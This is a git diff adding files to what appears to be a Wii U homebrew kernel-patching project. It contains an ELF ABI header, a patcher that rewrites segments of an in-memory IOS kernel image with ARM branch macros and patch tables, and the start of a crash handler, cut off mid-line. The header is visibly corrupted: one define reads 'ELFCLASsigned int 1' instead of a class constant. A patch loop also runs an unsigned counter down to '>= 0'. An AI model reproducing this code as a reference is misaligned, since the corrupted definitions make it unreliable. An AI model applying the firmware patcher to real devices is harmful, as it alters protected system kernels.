short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 /* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 +#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/ios_kernel/source/elf_patcher.c b/ios_kernel/source/elf_patcher.c new file mode 100644 index 0000000..8310964 --- /dev/null +++ b/ios_kernel/source/elf_patcher.c @@ -0,0 +1,110 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_abi.h" +#include "utils.h" + +static Elf32_Phdr * get_section(u32 data, u32 vaddr) +{ + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; + + if ( !IS_ELF (*ehdr) + || (ehdr->e_type != ET_EXEC) + || (ehdr->e_machine != EM_ARM)) + { + return 0; + } + + Elf32_Phdr *phdr = 0; + + u32 i; + for(i = 0; i < ehdr->e_phnum; i++) + { + phdr = (Elf32_Phdr *) (data + ehdr->e_phoff + ehdr->e_phentsize * i); + + if((vaddr >= phdr[0].p_vaddr) && ((i == ehdr->e_phnum) || (vaddr < phdr[1].p_vaddr))) + { + break; + } + } + return phdr; +} + +void section_write_bss(u32 ios_elf_start, u32 address, u32 size) +{ + Elf32_Phdr *phdr = get_section(ios_elf_start, address); + if(!phdr) + return; + + if((address - phdr->p_vaddr + size) > phdr->p_memsz) + { + phdr->p_memsz = (address - phdr->p_vaddr + size); + } +} + +void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size) +{ + Elf32_Phdr *phdr = get_section(ios_elf_start, address); + if(!phdr) + return; + + u32 *addr = (u32*)(ios_elf_start + address - phdr->p_vaddr + phdr->p_offset); + + if((address - phdr->p_vaddr + size) > phdr->p_filesz) + { + u32 additionalSize = address - phdr->p_vaddr + size - phdr->p_filesz; + + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) ios_elf_start; + Elf32_Phdr * tmpPhdr; + u32 i; + for(i = (ehdr->e_phnum-1); i >= 0; i--) + { + tmpPhdr = (Elf32_Phdr *) (ios_elf_start + ehdr->e_phoff + ehdr->e_phentsize * i); + + if(phdr->p_offset < tmpPhdr->p_offset) + { + reverse_memcpy((u8*)ios_elf_start + tmpPhdr->p_offset + additionalSize, (u8*)ios_elf_start + tmpPhdr->p_offset, tmpPhdr->p_filesz); + tmpPhdr->p_offset += additionalSize; + } + else { + break; + } + } + phdr->p_filesz += additionalSize; + if(phdr->p_memsz < phdr->p_filesz) + { + phdr->p_memsz = phdr->p_filesz; + } + } + + // in most cases only a word is copied to an aligned address so do a short cut for performance + if(size == 4 && !((unsigned int)addr & 3) && !((unsigned int)data & 3)) + { + *(u32*)addr = *(u32*)data; + } + else + { + kernel_memcpy(addr, data, size); + } +} diff --git a/ios_kernel/source/elf_patcher.h b/ios_kernel/source/elf_patcher.h new file mode 100644 index 0000000..3033ea8 --- /dev/null +++ b/ios_kernel/source/elf_patcher.h @@ -0,0 +1,58 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _ELF_PATCHER_H +#define _ELF_PATCHER_H + +#include "types.h" + +#define ARM_B(addr, func) (0xEA000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) +#define ARM_BL(addr, func) (0xEB000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) + +typedef struct +{ + u32 address; + void* data; + u32 size; +} patch_table_t; + +void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size); +void section_write_bss(u32 ios_elf_start, u32 address, u32 size); + +static inline void section_write_word(u32 ios_elf_start, u32 address, u32 word) +{ + section_write(ios_elf_start, address, &word, sizeof(word)); +} + + +static inline void patch_table_entries(u32 ios_elf_start, const patch_table_t * patch_table, u32 patch_count) +{ + u32 i; + for(i = 0; i < patch_count; i++) + { + section_write(ios_elf_start, patch_table[i].address, patch_table[i].data, patch_table[i].size); + } +} + + +#endif diff --git a/ios_kernel/source/exception_handler.c b/ios_kernel/source/exception_handler.c new file mode 100644 index 0000000..1ac771f --- /dev/null +++ b/ios_kernel/source/exception_handler.c @@ -0,0 +1,62 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "text.h" +#include "types.h" + +void crash_handler(unsigned int *context, int type) +{ + clearScreen(0xFFFFFFFF); + + if(type == 0) + { + _printf(0, 0, "GURU 